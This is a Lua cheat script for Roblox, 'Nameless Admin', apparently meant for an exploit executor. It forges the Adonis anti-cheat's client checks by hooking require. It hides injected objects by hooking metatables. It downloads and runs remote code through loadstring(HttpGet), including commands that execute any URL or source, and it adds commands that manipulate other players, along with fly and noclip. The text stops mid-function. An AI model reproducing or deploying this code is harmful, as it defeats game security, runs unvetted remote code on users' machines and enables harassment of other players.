local game = game local GetService = game.GetService if (not game.IsLoaded(game)) then local Loaded = game.Loaded Loaded.Wait(Loaded); wait(1.5) end -- executes when game has loaded local opt = { prefix = ';', -- change ';' to anything u want the prefix to be tupleSeparator = ',', -- ;ff me,others,all | ;ff me/others/all ui = { -- never did anything with this }, keybinds = { -- never did anything with this }, } -- [[ Version ]] -- currentversion = 1.01 -- [[ Adonis ]] -- local Encrypt = function(str, key) local byte = string.byte local sub = string.sub local char = string.char local endStr = {} for i = 1, #str do local keyPos = (i % #key) + 1 endStr[i] = char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1) end endStr = table.concat(endStr) return endStr end local Require = function(received) local client_loader = getcallingscript() local client_values = received.Parent.Special local client_remote = string.split(client_values.Value, "\\")[1] local client_encode = string.split(client_values.Value, "\\")[2] local client_module = received local client_signal = Instance.new("BindableEvent") local client_handle = nil local client_args = { Mode = "Fire", Module = client_module, Loader = client_loader, Sent = 0, Received = 0 } client_remote = game:FindFirstChild(client_remote, true) client_handle = client_remote.OnClientEvent:Connect(function(_, name, key) if string.find(name, "GIVE_KEY") then client_handle:Disconnect() client_handle = nil client_signal:Fire(key) client_signal:Destroy() client_signal = nil end end) client_remote:FireServer(client_args, client_encode .. "GET_KEY") client_signal.Event:Once(function(client_key) local client_code = Encrypt("ClientCheck", client_key) while true do client_args.Sent = client_args.Sent + 1 local args = { [1] = client_args, [2] = client_code, [3] = { Received = client_args.Received, Sent = client_args.Sent - 1 }, [4] = client_encode, -- [5] = math.random() } client_remote:FireServer(unpack(args)) task.wait(3) end end) end local old old = hookfunction(getrenv().require, function(module, ...) if module.Name == "Client" and module.Parent:FindFirstChild("Special") then task.spawn(Require, module) return coroutine.yield() end return old(module, ...) end) --[[ VARIABLES ]]-- local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local TweenService = game:GetService("TweenService") local RunService = game:GetService("RunService") local RunService2 = game:FindService("RunService") local StarterGui = game:GetService("StarterGui") local SoundService = game:GetService("SoundService") sethidden = sethiddenproperty or set_hidden_property or set_hidden_prop local Player = game.Players.LocalPlayer local IYLOADED = false -- This is used for the ;iy command that executes infinite yield commands using this admin command script (BTW) local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local Character = game.Players.LocalPlayer.Character local Clicked = true local AkaliNotif = loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/notificationtest"))(); local Notify = AkaliNotif.Notify; _G.Spam = false --[[ FOR LOOP COMMANDS ]]-- view = false anniblockspam = false control = false FakeLag = false Loopvoid = false Loopkill = false Loopbring = false Loopbanish = false Loopvoid = false Loopcuff = false loopgrab = false Loopstand = false Looptornado = false Loopmute = false Loopglitch = false Watch = false -- [[ HAT ORBIT ]] local Offset = 10 local Rotation = 0 local Speed = 1 local Height = 2 local EditingPos = false local Power = 50000 local Damping = 500 local Mode = 1 local NormalSpin = true --[[ END OF THE BASIC STUFF ]]-- local localPlayer = Players.LocalPlayer local LocalPlayer = Players.LocalPlayer local character = localPlayer.Character local mouse = localPlayer:GetMouse() local camera = workspace.CurrentCamera local camtype = camera.CameraType local Commands, Aliases = {}, {} player, plr, lp = localPlayer, localPlayer, localPlayer, localPlayer localPlayer.CharacterAdded:Connect(function(c) character = c end) local bringc = {} --[[ COMMAND FUNCTIONS ]]-- cmd = {} cmd.add = function(...) local vars = {...} local aliases, info, func = vars[1], vars[2], vars[3] for i, cmdName in pairs(aliases) do if i == 1 then Commands[cmdName:lower()] = {func, info} else Aliases[cmdName:lower()] = {func, info} end end end cmd.run = function(args) local caller, arguments = args[1], args; table.remove(args, 1); local success, msg = pcall(function() if Commands[caller:lower()] then Commands[caller:lower()][1](unpack(arguments)) elseif Aliases[caller:lower()] then Aliases[caller:lower()][1](unpack(arguments)) end end) if not success then print(msg) end end --[[ LIBRARY FUNCTIONS ]]-- lib = {} lib.wrap = function(f) return coroutine.wrap(f)() end wrap = lib.wrap lib.messageOut = function(title, msg) StarterGui:SetCore("SendNotification", { Title = title, Text = msg } ) end local wait = function(int) if not int then int = 0 end local t = tick() repeat RunService.Heartbeat:Wait(0) until (tick() - t) >= int return (tick() - t), t end spawn(function() -- Gui to Lua -- Version: 3.2 -- Instances: local StartUp = Instance.new("ScreenGui") local AdminName = Instance.new("TextLabel") local Version = Instance.new("TextLabel") --Properties: StartUp.Name = "StartUp" StartUp.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") StartUp.ZIndexBehavior = Enum.ZIndexBehavior.Sibling AdminName.Name = "AdminName" AdminName.Parent = StartUp AdminName.BackgroundColor3 = Color3.fromRGB(255, 255, 255) AdminName.BackgroundTransparency = 1.000 AdminName.Position = UDim2.new(0.321999997, 0, 0.416000009, 0) AdminName.Size = UDim2.new(0, 546, 0, 56) AdminName.Font = Enum.Font.SourceSans AdminName.Text = "Nameless Admin" AdminName.TextColor3 = Color3.fromRGB(255, 255, 255) AdminName.TextSize = 100.000 AdminName.TextStrokeTransparency = 0.000 Version.Name = "Version" Version.Parent = StartUp Version.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Version.BackgroundTransparency = 1.000 Version.Position = UDim2.new(0.418, 0,0.469, 0) Version.Size = UDim2.new(0, 249, 0, 45) Version.Font = Enum.Font.SourceSans Version.Text = currentversion Version.TextColor3 = Color3.fromRGB(255, 255, 255) Version.TextSize = 70.000 Version.TextTransparency = 1.000 -- Scripts: local function GOOBRM_fake_script() -- StartUp.Start local script = Instance.new('LocalScript', StartUp) local AdminName = script.Parent.AdminName local VersionName = script.Parent.Version AdminName.Position = UDim2.new(0.315, 0,0, -92) wait(0.2) AdminName:TweenPosition(UDim2.new(0.315, 0,0.407, 0), "Out", "Quint",1,true) wait(0.2) VersionName:TweenPosition(UDim2.new(0.418, 0,0.509, 0), "Out", "Quint",1,true) for i=1, 10 do wait(0.02) VersionName.TextTransparency -= 0.1 VersionName.TextStrokeTransparency -= 0.1 end wait(1) for i=1, 10 do wait(0.02) VersionName.TextTransparency += 0.1 VersionName.TextStrokeTransparency += 0.1 AdminName.TextTransparency += 0.1 AdminName.TextStrokeTransparency += 0.1 end wait(1) AdminName:Destroy() VersionName:Destroy() script.Parent:Destroy() end coroutine.wrap(GOOBRM_fake_script)() local function UKVHYKU_fake_script() -- StartUp.LocalScript local script = Instance.new('LocalScript', StartUp) local Blur = Instance.new("BlurEffect") Blur.Name = "kewlblur" Blur.Parent = game.Lighting Blur.Size = 0 for i=1, 10 do wait(0.05) Blur.Size += 1 end wait(1.44) for i=1, 10 do wait(0.05) Blur.Size -= 1 end wait(1) Blur:Destroy() end coroutine.wrap(UKVHYKU_fake_script)() wait(); Notify({ Description = "Ty MastersMZ for showcasing Nameless Admin! If you are using a mobile device this script won't work, you will have to use chat"; Title = "Nameless Admin"; Duration = 4; }); wait(1); Notify({ Description = "Join the discord for Change Logs! https://discord.gg/mW442YxE4j"; Duration = 3; }); end) function r15(plr) if game.Players.LocalPlayer.Character:FindFirstChildOfClass('Humanoid').RigType == Enum.HumanoidRigType.R15 then return true end end function getRoot(char) local rootPart = game.Players.LocalPlayer.Character:FindFirstChild('HumanoidRootPart') or game.Players.LocalPlayer.Character:FindFirstChild('Torso') or game.Players.LocalPlayer.Character:FindFirstChild('UpperTorso') return rootPart end local getPlr = function(Name) if Name:lower() == "random" then return Players:GetPlayers()[math.random(#Players:GetPlayers())] else Name = Name:lower():gsub("%s", "") for _, x in next, Players:GetPlayers() do if x.Name:lower():match(Name) then return x elseif x.DisplayName:lower():match("^" .. Name) then return x end end end end plr = game.Players.LocalPlayer COREGUI = game:GetService("CoreGui") speaker = game.Players.LocalPlayer char = plr.Character RunService = game:GetService("RunService") game:GetService('RunService').Stepped:connect(function() if anniblockspam then game.workspace.Tools.Chest_Invisibility_Cloak.Part.CFrame = CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position) if game.Players.LocalPlayer.Backpack:FindFirstChild("InvisibilityCloak") then game.Players.LocalPlayer.Character.Humanoid:EquipTool(game.Players.LocalPlayer.Backpack.InvisibilityCloak) end for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if (v:IsA("Tool")) then v.Handle.Mesh:Destroy() end end for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do if (v:IsA("Tool")) then v.Parent = workspace end end end end) function x(v) if v then for _,i in pairs(workspace:GetDescendants()) do if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then i.LocalTransparencyModifier = 0.5 end end else for _,i in pairs(workspace:GetDescendants()) do if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then i.LocalTransparencyModifier = 0 end end end end local function getChar() return game.Players.LocalPlayer.Character end local function getBp() return game.Players.LocalPlayer.Backpack end local cmdlp = game.Players.LocalPlayer plr = cmdlp workspace = game.workspace cmdm = plr:GetMouse() function sFLY(vfly) FLYING = false speedofthefly = 10 speedofthevfly = 10 while not cmdlp or not cmdlp.Character or not cmdlp.Character:FindFirstChild('HumanoidRootPart') or not cmdlp.Character:FindFirstChild('Humanoid') or not cmdm do wait() end local T = cmdlp.Character.HumanoidRootPart local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0} local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0} local SPEED = 0 local function FLY() FLYING = true local BG = Instance.new('BodyGyro', T) local BV = Instance.new('BodyVelocity', T) BG.P = 9e4 BG.maxTorque = Vector3.new(9e9, 9e9, 9e9) BG.cframe = T.CFrame BV.velocity = Vector3.new(0, 0, 0) BV.maxForce = Vector3.new(9e9, 9e9, 9e9) spawn(function() while FLYING do if not vfly then cmdlp.Character:FindFirstChild("Humanoid").PlatformStand = true end if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then SPEED = 50 elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then SPEED = 0 end if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R} elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED else BV.velocity = Vector3.new(0, 0, 0) end BG.cframe = workspace.CurrentCamera.CoordinateFrame wait() end CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0} lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0} SPEED = 0 BG:destroy() BV:destroy() cmdlp.Character.Humanoid.PlatformStand = false end) end cmdm.KeyDown:connect(function(KEY) if KEY:lower() == 'w' then if vfly then CONTROL.F = speedofthevfly else CONTROL.F = speedofthefly end elseif KEY:lower() == 's' then if vfly then CONTROL.B = - speedofthevfly else CONTROL.B = - speedofthefly end elseif KEY:lower() == 'a' then if vfly then CONTROL.L = - speedofthevfly else CONTROL.L = - speedofthefly end elseif KEY:lower() == 'd' then if vfly then CONTROL.R = speedofthevfly else CONTROL.R = speedofthefly end elseif KEY:lower() == 'y' then if vfly then CONTROL.Q = speedofthevfly*2 else CONTROL.Q = speedofthefly*2 end elseif KEY:lower() == 't' then if vfly then CONTROL.E = -speedofthevfly*2 else CONTROL.E = -speedofthefly*2 end end end) cmdm.KeyUp:connect(function(KEY) if KEY:lower() == 'w' then CONTROL.F = 0 elseif KEY:lower() == 's' then CONTROL.B = 0 elseif KEY:lower() == 'a' then CONTROL.L = 0 elseif KEY:lower() == 'd' then CONTROL.R = 0 elseif KEY:lower() == 'y' then CONTROL.Q = 0 elseif KEY:lower() == 't' then CONTROL.E = 0 end end) FLY() end local tool = getBp():FindFirstChildOfClass("Tool") or getChar():FindFirstChildOfClass("Tool") local function attachTool(tool,cf) for i,v in pairs(tool:GetDescendants()) do if not (v:IsA("BasePart") or v:IsA("Mesh") or v:IsA("SpecialMesh")) then v:Destroy() end end wait() game.Players.LocalPlayer.Character.Humanoid.Name = 1 local l = game.Players.LocalPlayer.Character["1"]:Clone() l.Parent = game.Players.LocalPlayer.Character l.Name = "Humanoid" game.Players.LocalPlayer.Character["1"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character game.Players.LocalPlayer.Character.Animate.Disabled = true wait() game.Players.LocalPlayer.Character.Humanoid.DisplayDistanceType = "None" tool.Parent = getChar() end local nc = false local ncLoop ncLoop = game:GetService("RunService").Stepped:Connect(function() if nc and getChar() ~= nil then for _, v in pairs(getChar():GetDescendants()) do if v:IsA("BasePart") and v.CanCollide == true then v.CanCollide = false end end end end) local netsleepTargets = {} local nsLoop nsLoop = game:GetService("RunService").Stepped:Connect(function() if #netsleepTargets == 0 then return end for i,v in pairs(netsleepTargets) do if v.Character then for i,v in pairs(v.Character:GetChildren()) do if v:IsA("BasePart") == false and v:IsA("Accessory") == false then continue end if v:IsA("BasePart") then sethiddenproperty(v,"NetworkIsSleeping",true) elseif v:IsA("Accessory") and v:FindFirstChild("Handle") then sethiddenproperty(v.Handle,"NetworkIsSleeping",true) end end end end end) local lp = game:GetService("Players").LocalPlayer lib.lock = function(instance, par) locks[instance] = true instance.Parent = par or instance.Parent instance.Name = "RightGrip" end lock = lib.lock locks = {} if hookfunction then -- i believe this was for hiding stuff like bodyvelocity local pseudo = Instance.new("Motor6D") _1 = hookfunction(pseudo.IsA, function(...) local p, ret = ({...})[1], _1(...) if checkcaller() then return ret end if locks[p] then return false end return ret end) _2 = hookfunction(pseudo.FindFirstChildWhichIsA, function(...) local p = _2(...) if checkcaller() then return p end if locks[p] then return nil end return p end) _3 = hookfunction(pseudo.FindFirstChildOfClass, function(...) local p = _3(...) if checkcaller() then return p end if locks[p] then return nil end return p end) _4 = hookfunction(pseudo.Destroy, function(...) local args = {...} if checkcaller() then return _4(...) end if locks[args[1]] then return end return end) local mt = getrawmetatable(game) local _ni = mt.__newindex local _nc = mt.__namecall local _i = mt.__index setreadonly(mt, false) mt.__index = newcclosure(function(t, i) if locks[t] and not checkcaller() then return _i(pseudo, i) end return _i(t, i) end) mt.__newindex = newcclosure(function(t, i, v) if locks[t] and not checkcaller() then return _ni(pseudo, i, v) end return _ni(t, i, v) end) mt.__namecall = newcclosure(function(t, ...) if locks[t] and not checkcaller() then return _nc(pseudo, ...) end return _nc(t, ...) end) end lib.find = function(t, v) -- mmmmmm for i, e in pairs(t) do if i == v or e == v then return i end end return nil end lib.parseText = function(text, watch) local parsed = {} if not text then return nil end for arg in text:gmatch("[^" .. watch .. "]+") do arg = arg:gsub("-", "%%-") local pos = text:find(arg) arg = arg:gsub("%%", "") if pos then local find = text:sub(pos - opt.prefix:len(), pos - 1) if (find == opt.prefix and watch == opt.prefix) or watch ~= opt.prefix then table.insert(parsed, arg) end else table.insert(parsed, nil) end end return parsed end lib.parseCommand = function(text) wrap(function() local commands = lib.parseText(text, opt.prefix) for _, parsed in pairs(commands) do local args = {} for arg in parsed:gmatch("[^ ]+") do table.insert(args, arg) end cmd.run(args) end end) end local connections = {} lib.connect = function(name, connection) -- no :( connections[name .. tostring(math.random(1000000, 9999999))] = connection return connection end lib.disconnect = function(name) for title, connection in pairs(connections) do if title:find(name) == 1 then connection:Disconnect() end end end m = math -- prepare for annoying and unnecessary tool grip math rad = m.rad clamp = m.clamp sin = m.sin tan = m.tan cos = m.cos --[[ PLAYER FUNCTIONS ]]-- argument = {} argument.getPlayers = function(str) local playerNames, players = lib.parseText(str, opt.tupleSeparator), {} for _, arg in pairs(playerNames or {"me"}) do arg = arg:lower() local playerList = Players:GetPlayers() if arg == "me" or arg == nil then table.insert(players, localPlayer) elseif arg == "all" then for _, plr in pairs(playerList) do table.insert(players, plr) end elseif arg == "others" then for _, plr in pairs(playerList) do if plr ~= localPlayer then table.insert(players, plr) end end elseif arg == "random" then table.insert(players, playerList[math.random(1, #playerList)]) elseif arg:find("%%") == 1 then local teamName = arg:sub(2) for _, plr in pairs(playerList) do if tostring(plr.Team):lower():find(teamName) == 1 then table.insert(players, plr) end end else for _, plr in pairs(playerList) do if plr.Name:lower():find(arg) == 1 or (plr.DisplayName and plr.DisplayName:lower():find(arg) == 1) or (tostring(plr.UserId):lower():find(arg) == 1) then table.insert(players, plr) end end end end return players end --[[ COMMANDS ]]-- --[ SCRIPT ]-- cmd.add({"script", "ls", "s", "run"}, {"script (ls, s, run)", "Run the code requested"}, function(source) loadstring(source)() end) cmd.add({"stand"}, {"stand ", "Makes a player your stand"}, function(...) if Humanoid.RigType == Enum.HumanoidRigType.R15 then wait(); Notify({ Description = "This command only works on R6"; Title = "Nameless Admin"; Duration = 7; }); else Target = (...) local RunService = game:FindService("RunService") if not getPlr(Target) then end repeat RunService.Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 or not getPlr(Target) local Player = game:FindService("Players").LocalPlayer local Character = Player.Character local Humanoid local HumanoidRootPart local Torso local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local THumanoidRootPart local TTorso if Character:FindFirstChild("HumanoidRootPart") then HumanoidRootPart = Character.HumanoidRootPart end if Character:FindFirstChild("Torso") then Torso = Character.Torso end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") end if Character:FindFirstChildOfClass("Tool") then Tool = Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle end if TCharacter:FindFirstChild("HumanoidRootPart") then THumanoidRootPart = TCharacter.HumanoidRootPart end if TCharacter:FindFirstChild("Torso") then TTorso = TCharacter.Torso elseif TCharacter:FindFirstChild("UpperTorso") then TTorso = TCharacter.UpperTorso end if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = Character:FindFirstChildOfClass("Humanoid") end if not HumanoidRootPart then task.wait(1) if Torso then task.wait(1) else return end end if Humanoid.RigType == Enum.HumanoidRigType.R15 then Notify({ Description = "This command only works on R6"; Title = "Nameless Admin"; Duration = 7; }); end Humanoid:Destroy() local NewHumanoid = Instance.new("Humanoid", Character) NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace repeat Tool.Grip = Handle.CFrame:ToObjectSpace(TTorso.CFrame):Inverse() wait(0.4) Tool.Grip = CFrame.new(0, 3, -5) firetouchinterest(Handle, TTorso, 0) firetouchinterest(Handle, TTorso, 1) RunService.Heartbeat:wait() until Tool.Parent ~= Character local OldPos = getRoot().CFrame player.CharacterAdded:wait(1) end end) cmd.add({"valk"}, {"valk", "Only works on dollhouse"}, function() repeat game:GetService("RunService").Stepped:wait() until game:IsLoaded() and game:GetService("Players").LocalPlayer pcall(function() local plr = game:GetService("Players").LocalPlayer local giver = workspace:WaitForChild("Valkyrie Helm giver") local head = plr.Character:WaitForChild("Head") firetouchinterest(head, giver, 0) plr.CharacterAdded:Connect(function(char) head = char:WaitForChild("Head") firetouchinterest(head, giver, 0) end) end) end) cmd.add({"httpget", "hl", "get"}, {"httpget (hl, get)", "Run the contents of a given URL"}, function(url) loadstring(game:HttpGet(url, true))() end) --[ UTILITY ]-- cmd.add({"chatlogs", "clogs"}, {"chatlogs (clogs)", "Open the chat logs"}, function() gui.chatlogs() end) cmd.add({"gotocampos", "tocampos", "tcp"}, {"gotocampos (tocampos, tcp)", "Teleports you to your camera position works with free cam but freezes you"}, function() local player = game.Players.LocalPlayer local UserInputService = game:GetService("UserInputService") -- function to teleport the player to the camera's position local function teleportPlayer() local character = player.Character or player.CharacterAdded:wait(1) local camera = game.Workspace.CurrentCamera local cameraPosition = camera.CFrame.Position character:SetPrimaryPartCFrame(CFrame.new(cameraPosition)) end local camera = game.Workspace.CurrentCamera repeat wait() until camera.CFrame ~= CFrame.new() teleportPlayer() end) cmd.add({"kanye"}, {"kanye", "Random kanye quote"}, function() local check = "https://api.kanye.rest/" local final = game:HttpGet(check) local final2 = string.gsub(final,'"quote"',"") local final3 = string.gsub(final2,"[%{%:%}]","") game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(final3.." - Kanye West", 'All') end) cmd.add({"hatorbit", "ho"}, {"hatorbit (ho)", "Hat orbit"}, function() wait(); Notify({ Description = "Hat orbit loaded, if you wanna orbit other people type in the chat .orbit playername"; Title = "Nameless Admin"; Duration = 10; }); local LC = game.Players.LocalPlayer local Name = LC.Name local Char = LC.Character local Humanoid = Char:FindFirstChildWhichIsA("Humanoid") local Root = Humanoid.RootPart local Accessories = Humanoid:GetAccessories() local Target = Char local TargetPos = Target.Humanoid.RootPart.Position function findName(pname) for i, v in ipairs(game.Players:GetPlayers()) do if pname then if string.match(v.Name:lower(), pname:lower()) or string.match(v.Character.Humanoid.DisplayName:lower(), pname:lower()) then return v.Name end else end end end function findChar(pname) return game.Players:FindFirstChild(findName(pname)).Character end local hats = {} if Target then -- Loop through each hat in the target player's character local character = Target for _, hat in ipairs(character:GetChildren()) do if hat:IsA("Accessory") then hats[#hats+1] = hat end end end local hatCount = #hats if hatCount > 0 then local angle = math.pi * 2 / hatCount -- Loop through each hat again to add bodyposition and move hats for i, hat in ipairs(hats) do -- Add bodyposition to the handle and make it massless local handle = hat.Handle handle.AccessoryWeld:Remove() if handle then local bodyPosition = Instance.new("BodyPosition", handle) bodyPosition.MaxForce = Vector3.new(math.huge, math.huge, math.huge) bodyPosition.P = Power bodyPosition.D = Damping local bodyGyro = Instance.new("BodyGyro", handle) bodyGyro.MaxTorque = Vector3.new(math.huge, math.huge, math.huge) bodyGyro.P = Power bodyGyro.D = Damping -- Calculate position based on angle and Offset local x = math.sin(Rotation + angle * (i-1)) * Offset local z = math.cos(Rotation + angle * (i-1)) * Offset -- Set position of bodyposition bodyPosition.Position = TargetPos + Vector3.new(x, Height, z) end end -- Rotate hats around target player local function myCoroutine() while wait(-9e999) do Rotation = Rotation + (Speed / 20) if Rotation >= math.pi * 2 then Rotation = 0 end for i, hat in ipairs(hats) do local handle = hat.Handle local x = math.sin(Rotation + angle * (i-1)) * Offset local z = math.cos(Rotation + angle * (i-1)) * Offset handle.BodyPosition.P = Power handle.Velocity = Vector3.new(0, 5, 0) handle.Massless = true handle.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) handle.BodyGyro.CFrame = CFrame.lookAt(handle.Position + Vector3.new(0, handle.Position.Y, 0), Root.Position) if NormalSpin == true then handle.BodyPosition.Position = TargetPos + Vector3.new(x + Target.Humanoid.MoveDirection.X, Height, z + Target.Humanoid.MoveDirection.Z) end if EditingPos == false then TargetPos = Target.Humanoid.RootPart.Position end end end end local myWrappedCoroutine = coroutine.wrap(myCoroutine) myWrappedCoroutine() end function Mode2() if Mode == 2 then local Angle = math.pi * 2 / #hats -- number of hats in the circle function Loop() if Mode == 2 then -- Get the orientation of the root part local RootOrientation = Target.Humanoid.RootPart.CFrame - Target.Humanoid.RootPart.Position local RootRotation = RootOrientation for i, Hat in ipairs(hats) do local HatRotation = RootRotation.Y + Angle * (i - 1) + Speed * tick() local x = math.sin(HatRotation) * Offset local z = math.cos(HatRotation) * Offset local HatPos = TargetPos + RootOrientation * Vector3.new(x, z, -Height) Hat.Handle.BodyPosition.Position = HatPos end wait() Loop() end end Loop() for i, Hat in ipairs(hats) do local Handle = Hat.Handle Hat.Handle.BodyPosition.Position = TargetPos end end end function Mode3() if Mode == 3 then for i = 1, #Accessories do Accessories[i].Handle.BodyPosition.Position = TargetPos + Vector3.new(0, Height, 0) wait(.1) end wait() Mode3() end end function Mode4 () if Mode == 4 then if not LC:GetMouse().Target then else TargetPos = LC:GetMouse().Hit.Position end wait(-9e999) Mode4() end end function Mode5 () local spiralPitch = 0 local spiralAngle = 0 function Loop () if Mode == 5 then spiralAngle = spiralAngle + Speed / 300 if spiralAngle >= math.pi * 10 then spiralAngle = 0 end for i, hat in ipairs(hats) do local handle = hat.Handle if handle then local x = math.sin(spiralAngle + i * spiralPitch) * (i * Offset / 8) local y = i * (Height / 3) local z = math.cos(spiralAngle + i * spiralPitch) * (i * Offset / 8) handle.BodyPosition.Position = TargetPos - Vector3.new(0, 2, 0) + Vector3.new(x, y, z) end end end spiralPitch += Speed / 70 wait(-9e999) Loop() end Loop() end function Mode6 () local stack1 = {} local stack2 = {} for i = 1, #Accessories do if i <= #Accessories / 2 then stack1[#stack1 + 1] = Accessories[i] else stack2[#stack2 + 1] = Accessories[i] end end function Loop() if Mode == 6 then local angle = tick() * Speed local x = math.sin(angle) * Offset local z = math.cos(angle) * Offset for i, v in ipairs(stack1) do v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, i+Height,-z) end for i, v in ipairs(stack2) do v.Handle.BodyPosition.Position = TargetPos + Vector3.new(-x, i+Height,z) end wait() Loop() end end Loop() end function Mode7() local stack1 = {} local stack2 = {} local stack3 = {} for i = 1, #Accessories do if i < #Accessories / 3 then stack1[#stack1 + 1] = Accessories[i] elseif i < #Accessories / 3 * 2 or i == #Accessories then stack2[#stack2 + 1] = Accessories[i] else stack3[#stack3 + 1] = Accessories[i] end end function Loop() if Mode == 7 then local angle = tick() * Speed local x = math.sin(angle) * Offset local z = math.cos(angle) * Offset for i, v in ipairs(stack1) do v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, i+Height, -z) end for i, v in ipairs(stack2) do v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, i+Height, z) end for i, v in ipairs(stack3) do v.Handle.BodyPosition.Position = TargetPos + Vector3.new(-x, i+Height, -z) end wait() Loop() end end Loop() end function Mode8() if Mode == 8 then local forward = workspace.CurrentCamera.CFrame.LookVector local right = workspace.CurrentCamera.CFrame.RightVector local up = workspace.CurrentCamera.CFrame.UpVector local angle = math.pi * 2 / #hats * tick() for i, hat in ipairs(hats) do local handle = hat.Handle local x = right * (math.sin(angle * (i-1)) * Offset) local y = up * (math.cos(angle * (i-1)) * Offset) local z = forward * (Height+10) local pos = workspace.CurrentCamera.CFrame.LookVector + z + x + y local look = (workspace.CurrentCamera.CFrame.LookVector - pos).unit handle.BodyPosition.Position = pos + TargetPos + Vector3.new(0, 2, 0) end wait() Mode8() end end function Mode9 () local Left = {} local Right = {} for i, v in pairs(Accessories) do if (#Left < #Accessories / 2) then Left[#Left + 1] = v else Right[#Right + 1] = v end end function Loop () if Mode == 9 then for i, v in ipairs(Left) do local angle = tick() * Speed local x = math.sin(angle + i) * Offset local z = math.cos(angle + i) * Offset v.Handle.BodyPosition.Position = TargetPos + Vector3.new(x, Height, z) end for i, v in ipairs(Right) do local angle = tick() * Speed local x = math.sin(angle + i) * Offset local z = math.cos(angle + i) * Offset v.Handle.BodyPosition.Position = TargetPos + Vector3.new(z, Height, x) end wait() Loop() end end Loop() end function Mode10 () local Left = {} local Right = {} for i, v in pairs(Accessories) do if (#Left < #Accessories / 2) then Left[#Left + 1] = v else Right[#Right + 1] = v end end function Loop () if Mode == 10 then for i, v in ipairs(Left) do local angle = tick() * Speed local x = math.sin(angle + i) * Offset local z = math.cos(angle + i) * Offset v.Handle.BodyPosition.Position = TargetPos + Vector3.new(z, x + Height, -x) end for i, v in ipairs(Right) do local angle = tick() * Speed local x = math.sin(angle + i) * Offset local z = math.cos(angle + i) * Offset v.Handle.BodyPosition.Position = TargetPos + Vector3.new(-x, x + Height, -z) end wait() Loop() end end Loop() end function Mode11 () local OldOffset = Offset local Circle1 = {} local Circle2 = {} for i, v in pairs(Accessories) do if (#Circle1 < #Accessories / 2) then Circle1[#Circle1 + 1] = v else Circle2[#Circle2 + 1] = v end end function Loop () if Mode == 11 then for i = 1, #Circle1 do local angle = tick() * Speed local x = -math.sin(angle + (i * angle)) * Offset local y = math.cos(angle) / 2 * OldOffset local z = math.cos(angle + (i * -angle)) * Offset Offset = math.sin(angle) / 2 * OldOffset local offset = CFrame.Angles(0,math.rad( Target.Humanoid.RootPart.Orientation.Y), 0) * Vector3.new(x, Height+y, z) Circle1[i].Handle.BodyPosition.Position = TargetPos + offset end for i = 1, #Circle2 do local angle = tick() * Speed local x = -math.sin(angle + (i * angle)) * Offset local y = -math.cos(angle) / 2 * OldOffset local z = math.cos(angle + (i * angle)) * Offset Offset = math.sin(angle) / 2 * OldOffset local offset = CFrame.Angles(0, math.rad(Target.Humanoid.RootPart.Orientation.Y), 0) * Vector3.new(x, Height+y, z) Circle2[i].Handle.BodyPosition.Position = TargetPos + offset end wait() Loop() end end Loop() end function Mode12 () local Circle1 = {} local Circle2 = {} for i, v in pairs(Accessories) do if (#Circle1 < #Accessories / 2) then Circle1[#Circle1 + 1] 